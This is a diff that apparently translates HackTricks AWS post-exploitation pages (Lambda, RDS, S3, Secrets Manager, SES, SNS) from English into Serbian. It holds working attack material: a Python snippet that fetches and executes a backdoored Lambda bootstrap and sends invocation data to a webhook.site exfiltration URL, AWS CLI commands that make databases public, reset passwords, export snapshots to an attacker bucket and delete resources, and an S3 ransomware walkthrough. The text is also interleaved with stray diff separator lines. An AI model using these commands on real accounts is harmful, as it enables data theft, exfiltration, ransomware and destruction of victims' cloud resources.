{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### Ukrasti HTTP Zahteve drugih Lambda
|
||||
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
Ako napadač nekako uspe da dobije RCE unutar Lambda, moći će da ukrade HTTP zahteve drugih korisnika ka lambdi. Ako zahtevi sadrže osetljive informacije (kolačiće, akreditive...) moći će da ih ukrade.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Ukrasti HTTP Zahteve drugih Lambda & Zahteve Ekstenzija
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Zloupotrebom Lambda Layers takođe je moguće zloupotrebiti ekstenzije i persistirati u lambdi, ali i ukrasti i modifikovati zahteve.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,41 @@
|
||||
# AWS - Steal Lambda Requests
|
||||
# AWS - Ukradi Lambda Zahteve
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Flow
|
||||
## Lambda Tok
|
||||
|
||||
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
|
||||
|
||||
1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
|
||||
2. The init process listens on port **9001** exposing some interesting endpoints:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
|
||||
3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
|
||||
4. Finally, **bootstrap.py** sends to init the **response**
|
||||
1. **Slicer** je proces van kontejnera koji **šalje** **invokacije** procesu **init**.
|
||||
2. Proces init sluša na portu **9001** izlažući neke zanimljive krajnje tačke:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – dobijanje sledećeg događaja invokacije
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – vraća odgovor handler-a za invokaciju
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – vraća grešku u izvršenju
|
||||
3. **bootstrap.py** ima petlju koja dobija invokacije iz init procesa i poziva korisnički kod da ih obradi (**`/next`**).
|
||||
4. Na kraju, **bootstrap.py** šalje init-u **odgovor**
|
||||
|
||||
Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
|
||||
Napomena da bootstrap učitava korisnički kod kao modul, tako da se svaka izvršena kodna operacija od strane korisničkog koda zapravo dešava u ovom procesu.
|
||||
|
||||
## Stealing Lambda Requests
|
||||
## Ukradanje Lambda Zahteva
|
||||
|
||||
The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
|
||||
Cilj ovog napada je da se korisnički kod izvrši kao zlonamerni **`bootstrap.py`** proces unutar **`bootstrap.py`** procesa koji obrađuje ranjivu zahtev. Na ovaj način, **zlonamerni bootstrap** proces će početi da **komunicira sa init procesom** kako bi obradio zahteve dok je **legit** bootstrap **zarobljen** u izvršavanju zlonamernog, tako da neće tražiti zahteve od init procesa.
|
||||
|
||||
This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
|
||||
Ovo je jednostavan zadatak za postizanje jer se kod korisnika izvršava od strane legit **`bootstrap.py`** procesa. Tako da napadač može:
|
||||
|
||||
- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
|
||||
- A request must be sent to **`/${invoke-id}/response`**
|
||||
- The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Execute a malicious **`boostrap.py`** which will handle the next invocations
|
||||
- For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
|
||||
- For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
|
||||
- **Poslati lažni rezultat trenutne invokacije init procesu**, tako da init misli da bootstrap proces čeka na više invokacija.
|
||||
- Zahtev mora biti poslat na **`/${invoke-id}/response`**
|
||||
- Invoke-id se može dobiti iz steka legit **`bootstrap.py`** procesa koristeći [**inspect**](https://docs.python.org/3/library/inspect.html) python modul (kao [predloženo ovde](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) ili jednostavno ponovo zahtevati na **`/2018-06-01/runtime/invocation/next`** (kao [predloženo ovde](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Izvršiti zlonamerni **`boostrap.py`** koji će obraditi sledeće invokacije
|
||||
- Za svrhe prikrivanja moguće je poslati parametre lambda invokacija na C2 kontrolisan od strane napadača i zatim obraditi zahteve kao i obično.
|
||||
- Za ovaj napad, dovoljno je dobiti originalni kod **`bootstrap.py`** sa sistema ili [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), dodati zlonamerni kod i pokrenuti ga iz trenutne lambda invokacije.
|
||||
|
||||
### Attack Steps
|
||||
### Koraci Napada
|
||||
|
||||
1. Find a **RCE** vulnerability.
|
||||
2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||||
3. **Execute** the malicious bootstrap.
|
||||
|
||||
You can easily perform these actions running:
|
||||
1. Pronaći **RCE** ranjivost.
|
||||
2. Generisati **zlonamerni** **bootstrap** (npr. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||||
3. **Izvršiti** zlonamerni bootstrap.
|
||||
|
||||
Možete lako izvršiti ove akcije pokretanjem:
|
||||
```bash
|
||||
python3 <<EOF
|
||||
import os
|
||||
@@ -53,15 +52,10 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
|
||||
exec(new_runtime)
|
||||
EOF
|
||||
```
|
||||
Za više informacija pogledajte [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
|
||||
For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,31 +4,27 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information, check:
|
||||
Za više informacija, proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restore old DB snapshots
|
||||
### Vratite stare DB snimke
|
||||
|
||||
If the DB is having snapshots, you might be able to **find sensitive information currently deleted in old snapshots**. **Restore** the snapshot in a **new database** and check it.
|
||||
Ako DB ima snimke, možda ćete moći da **pronađete osetljive informacije koje su trenutno obrisane u starim snimcima**. **Vratite** snimak u **novu bazu podataka** i proverite ga.
|
||||
|
||||
### Restore Instance Snapshots
|
||||
### Vratite snimke instance
|
||||
|
||||
Instance snapshots might contain **sensitive information** of already deleted instances or sensitive info that is deleted in the current instance. **Create new instances from the snapshots** and check them.\
|
||||
Or **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance.
|
||||
Snimci instance mogu sadržati **osetljive informacije** već obrisanih instanci ili osetljive informacije koje su obrisane u trenutnoj instanci. **Kreirajte nove instance iz snimaka** i proverite ih.\
|
||||
Ili **izvezite snimak u AMI u EC2** i pratite korake tipične EC2 instance.
|
||||
|
||||
### Access Sensitive Information
|
||||
### Pristupite osetljivim informacijama
|
||||
|
||||
Check out the Lightsail privesc options to learn different ways to access potential sensitive information:
|
||||
Pogledajte Lightsail privesc opcije da biste saznali različite načine za pristup potencijalnim osetljivim informacijama:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,17 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
# AWS - Organizacije Post Eksploatacija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
## Organizacije
|
||||
|
||||
For more info about AWS Organizations check:
|
||||
Za više informacija o AWS Organizacijama pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Leave the Org
|
||||
|
||||
### Napusti Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,40 +12,37 @@ For more information check:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
If the attacker has enough permissions, he could make a **DB publicly accessible** by creating a snapshot of the DB, and then a publicly accessible DB from the snapshot.
|
||||
|
||||
Ako napadač ima dovoljno dozvola, mogao bi da napravi **DB javno dostupnim** kreiranjem snimka DB-a, a zatim javno dostupnog DB-a iz snimka.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
aws rds create-db-snapshot \
|
||||
--db-instance-identifier <db-id> \
|
||||
--db-snapshot-identifier cloudgoat
|
||||
--db-instance-identifier <db-id> \
|
||||
--db-snapshot-identifier cloudgoat
|
||||
|
||||
# Get subnet groups & security groups
|
||||
aws rds describe-db-subnet-groups
|
||||
aws ec2 describe-security-groups
|
||||
|
||||
aws rds restore-db-instance-from-db-snapshot \
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--db-snapshot-identifier <scapshotId> \
|
||||
--db-subnet-group-name <db subnet group> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <ec2-security group>
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--db-snapshot-identifier <scapshotId> \
|
||||
--db-subnet-group-name <db subnet group> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <ec2-security group>
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot.
|
||||
|
||||
If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**.
|
||||
Napadač sa ovim dozvolama mogao bi **napraviti snimak DB** i učiniti ga **javnim** **dostupnim**. Zatim bi mogao jednostavno da napravi u svom nalogu DB iz tog snimka.
|
||||
|
||||
Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje bi mogao učiniti **druge** kreirane snimke **javnim**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --d
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
|
||||
```
|
||||
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions.
|
||||
|
||||
Napadač sa `rds:DownloadDBLogFilePortion` dozvolom može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili akreditivi za pristup slučajno zabeleženi, napadač bi mogao potencijalno iskoristiti ove informacije za eskalaciju svojih privilegija ili izvršavanje neovlašćenih radnji.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
|
||||
**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials.
|
||||
**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene radnje korišćenjem provaljenih akreditiva.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
An attacker with these permissions can **DoS existing RDS instances**.
|
||||
|
||||
Napadač sa ovim dozvolama može **napasti postojeće RDS instance**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
|
||||
**Potential impact**: Deletion of existing RDS instances, and potential loss of data.
|
||||
**Potencijalni uticaj**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot.
|
||||
> [!NAPOMENA]
|
||||
> TODO: Testirati
|
||||
|
||||
Napadač sa ovom dozvolom može **izvesti snimak RDS instance u S3 kantu**. Ako napadač ima kontrolu nad odredišnom S3 kantom, može potencijalno pristupiti osetljivim podacima unutar izvezenog snimka.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
|
||||
**Potential impact**: Access to sensitive data in the exported snapshot.
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima u eksportovanom snimku.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,39 +4,35 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
Za više informacija proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
### Osetljive Informacije
|
||||
|
||||
Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets.
|
||||
Ponekad ćete moći da pronađete osetljive informacije u čitljivim u kanticama. Na primer, terraform state tajne.
|
||||
|
||||
### Pivoting
|
||||
### Pivotiranje
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
Različite platforme mogu koristiti S3 za skladištenje osetljivih sredstava.\
|
||||
Na primer, **airflow** može skladištiti **DAGs** **kod** tamo, ili se **web stranice** mogu direktno servirati iz S3. Napadač sa dozvolama za pisanje može **modifikovati kod** iz kante da **pivotira** na druge platforme, ili **preuzeti naloge** modifikovanjem JS datoteka.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
U ovom scenariju, **napadač kreira KMS (Key Management Service) ključ u svom AWS nalogu** ili drugom kompromitovanom nalogu. Zatim čini ovaj **ključ dostupnim svima na svetu**, omogućavajući bilo kojem AWS korisniku, ulozi ili nalogu da enkriptuje objekte koristeći ovaj ključ. Međutim, objekti se ne mogu dekriptovati.
|
||||
|
||||
The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
|
||||
Napadač identifikuje ciljnu **S3 kanticu i dobija pristup na nivou pisanja** koristeći različite metode. To može biti zbog loše konfiguracije kante koja je javno izložena ili napadač dobija pristup AWS okruženju. Napadač obično cilja kante koje sadrže osetljive informacije kao što su lične identifikacione informacije (PII), zaštićene zdravstvene informacije (PHI), logove, rezervne kopije i još mnogo toga.
|
||||
|
||||
To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
|
||||
Da bi utvrdio da li se kanta može ciljati za ransomware, napadač proverava njenu konfiguraciju. Ovo uključuje verifikaciju da li je **S3 Object Versioning** omogućen i da li je **multi-factor authentication delete (MFA delete) omogućen**. Ako Object Versioning nije omogućen, napadač može nastaviti. Ako je Object Versioning omogućen, ali je MFA delete onemogućen, napadač može **onemogućiti Object Versioning**. Ako su i Object Versioning i MFA delete omogućeni, postaje teže za napadača da ransomware-uje tu specifičnu kantu.
|
||||
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
|
||||
Koristeći AWS API, napadač **menja svaki objekat u kanti sa enkriptovanom kopijom koristeći svoj KMS ključ**. Ovo efikasno enkriptuje podatke u kanti, čineći ih nedostupnim bez ključa.
|
||||
|
||||
To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
|
||||
Da bi dodatno pritisnuo, napadač zakazuje brisanje KMS ključa korišćenog u napadu. Ovo daje cilju 7-dnevni period da povrati svoje podatke pre nego što ključ bude obrisan i podaci postanu trajno izgubljeni.
|
||||
|
||||
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
|
||||
Na kraju, napadač može otpremiti konačnu datoteku, obično nazvanu "ransom-note.txt," koja sadrži uputstva za cilj o tome kako da povrati svoje datoteke. Ova datoteka se otprema bez enkripcije, verovatno da bi privukla pažnju cilja i obavestila ih o ransomware napadu.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**Za više informacija** [**proverite originalno istraživanje**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,53 +1,43 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
# AWS - Post Eksploatacija Secrets Manager-a
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
### Čitanje Tajni
|
||||
|
||||
The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them.
|
||||
**Tajne same su osetljive informacije**, [proverite stranicu za privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) da biste saznali kako ih pročitati.
|
||||
|
||||
### DoS Change Secret Value
|
||||
### DoS Promena Vrednosti Tajne
|
||||
|
||||
Changing the value of the secret you could **DoS all the system that depends on that value.**
|
||||
Promenom vrednosti tajne mogli biste **DoS-ovati ceo sistem koji zavisi od te vrednosti.**
|
||||
|
||||
> [!WARNING]
|
||||
> Note that previous values are also stored, so it's easy to just go back to the previous value.
|
||||
|
||||
> Imajte na umu da su prethodne vrednosti takođe sačuvane, tako da je lako jednostavno se vratiti na prethodnu vrednost.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
|
||||
### DoS Change KMS key
|
||||
|
||||
### DoS Promena KMS ključa
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Brisanje Tajne
|
||||
|
||||
### DoS Deleting Secret
|
||||
|
||||
The minimum number of days to delete a secret are 7
|
||||
|
||||
Minimalan broj dana za brisanje tajne je 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SES
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
@@ -12,76 +12,58 @@ For more information check:
|
||||
|
||||
### `ses:SendEmail`
|
||||
|
||||
Send an email.
|
||||
|
||||
Pošaljite email.
|
||||
```bash
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
Send an email.
|
||||
|
||||
Pošaljite email.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Send an email based on a template.
|
||||
|
||||
Pošaljite email na osnovu šablona.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Send an email to multiple destinations
|
||||
|
||||
Pošaljite email na više destinacija
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
Send an email to multiple destinations.
|
||||
|
||||
Pošaljite email na više odredišta.
|
||||
```
|
||||
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
|
||||
### `ses:SendBounce`
|
||||
|
||||
Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email.
|
||||
|
||||
Pošaljite **bounce email** preko primljenog emaila (ukazujući da email nije mogao biti primljen). Ovo se može uraditi **do 24h nakon prijema** emaila.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
This will send a customized verification email. You might need permissions also to created the template email.
|
||||
|
||||
Ovo će poslati prilagođeni verifikacioni email. Možda će vam biti potrebne dozvole i za kreiranje šablona emaila.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information:
|
||||
Za više informacija:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,73 +12,57 @@ For more information:
|
||||
|
||||
### Disrupt Messages
|
||||
|
||||
In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected.
|
||||
U nekoliko slučajeva, SNS teme se koriste za slanje poruka platformama koje se prate (emailovi, slack poruke...). Ako napadač spreči slanje poruka koje upozoravaju na njegovo prisustvo u oblaku, mogao bi ostati neotkriven.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic.
|
||||
|
||||
Napadač bi mogao obrisati celu SNS temu, uzrokujući gubitak poruka i utičući na aplikacije koje se oslanjaju na temu.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications using the deleted topic.
|
||||
**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje koriste obrisanu temu.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
|
||||
|
||||
Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokrenuti nepredviđene radnje ili iscrpiti resurse.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Data corruption, unintended actions, or resource exhaustion.
|
||||
**Potencijalni uticaj**: Oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability.
|
||||
|
||||
Napadač bi mogao da izmeni atribute SNS teme, što bi potencijalno moglo uticati na njene performanse, bezbednost ili dostupnost.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
|
||||
**Potencijalni uticaj**: Loše konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
|
||||
|
||||
Napadač bi mogao da se prijavi ili odjavi sa SNS teme, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na tu temu.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic.
|
||||
**Potencijalni uticaj**: Neovlašćen pristup porukama, prekid usluge za aplikacije koje se oslanjaju na pogođenu temu.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
